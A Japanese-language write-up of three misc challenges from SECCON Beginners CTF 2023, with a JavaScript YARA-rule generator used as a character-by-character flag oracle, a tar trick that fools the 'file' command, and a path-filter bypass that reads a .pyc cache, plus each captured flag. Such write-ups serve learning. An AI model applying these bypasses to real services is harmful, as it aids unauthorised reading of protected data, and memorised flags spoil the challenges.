SECCON Beginners CTF 2023
· 約7分


毎回Webをメインに解いていましたが今回はあまり解けなかったのでmiscばかり解いていました。
(double checkは前回調べた内容からJWTの生成まではできていましたがプロトタイプ汚染についてすっかり忘れてしまっていて数時間かけて何も進みませんでした)
YARO
正規表現でルールを作成できましたがリクエスト数を少なくしたかったので以下の関数を作成して一度で一文字調べて解きました。
const template = `rule flag {
strings:
$flag = /__T__/
condition:
$flag
}
`
const strings = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".split("")
const createRule = (str) => {
let output = ""
for (let i = 0; i < strings.length; i++) {
output += template.replaceAll("flag", strings[i]).replaceAll("__T__", `${str}${strings[i]}`)
}
for (let i = 0; i < 10; i++) {
output += template.replaceAll("flag", `i${i}`).replaceAll("__T__", `${str}${i}`)
}
output += template.replaceAll("flag", "UN").replaceAll("__T__", `${str}_`)
output += template.replaceAll("flag", "BR").replaceAll("__T__", `${str}\}`)
return output
}
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
polyglot4b
file -bkrで出力される文字列にJPEG, PNG, GIF, ASCIIが含まれていれば良く、手元で幾つか試したところtarファイルに含めたファイル名が出力されていたので以下のコマンドで作成したファイルを送信してflagを得ました。
touch JPEGPNGIFASCII
tar -cf file.tar JPEGPNGIFASCII
ctf4b{y0u_h4v3_fully_und3r5700d_7h15_p0ly6l07}
shaXXX
入力したパスがカレントディレクトリ以下で、basenameがflag.pyでないものであったときにファイルの中身が返却されるようになっていました。
print(sys.version)とバージョンを出力していたのでこのバージョンを確認しましたが現時点で最新版であることがわかるだけでした。
実行時にファイルがカレントディレクトリに生成されているのではないかと考えて手元で実行したところ__pycache__フォルダが生成され、その中にflag.cpython-310.pycが生成されていました。
手元の環境はPython3.10でしたがリモートは3.11であったので310を311に変更し、./__pycache__/flag.cpython-311.pycを入力することでflag.pyのキャッシュからflagを得ることができました。
3.11.3 (main, May 10 2023, 12:26:31) [GCC 12.2.1 20220924]
Input your salt file name(default=./flags/sha256.txt):./__pycache__/flag.cpython-311.pyc
hash=b'\xa7\r\r\n\x00\x00\x00\x00>=wd<\x00\x00\x00\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xf3\n\x00\x00\x00\x97\x00d\x00Z\x00d\x01S\x00)\x02s\x1b\x00\x00\x00ctf4b{c4ch3_15_0ur_fr13nd!}N)\x01\xda\x04flag\xa9\x00\xf3\x00\x00\x00\x00\xfa\x18/home/ctf/shaXXX/flag.py\xfa\x08<module>r\x06\x00\x00\x00\x01\x00\x00\x00s\x0e\x00\x00\x00\xf0\x03\x01\x01\x01\xe0\x07%\x80\x04\x80\x04\x80\x04r\x04\x00\x00\x00'
ctf4b{c4ch3_15_0ur_fr13nd!}
